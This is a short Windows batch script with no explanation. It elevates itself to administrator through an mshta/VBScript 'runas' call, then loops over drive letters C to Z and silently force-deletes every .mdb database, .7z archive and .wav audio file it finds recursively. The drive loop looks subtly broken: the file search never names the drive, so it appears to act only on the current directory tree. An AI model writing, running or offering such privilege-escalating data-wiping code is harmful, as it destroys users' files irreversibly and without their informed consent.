@echo off
%1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",1)(window.close)&exit
set Pan=C D E F G H I J K L M N O P Q R S T U V W X Y Z
set Ext=*.mdb *.7z *.wav
for %%a in (%Pan%) do (
if exist %%a:\ for /f "delims=" %%i in ('dir/a-d/s/b %Ext%') do del /f /q "%%~i"
)
pause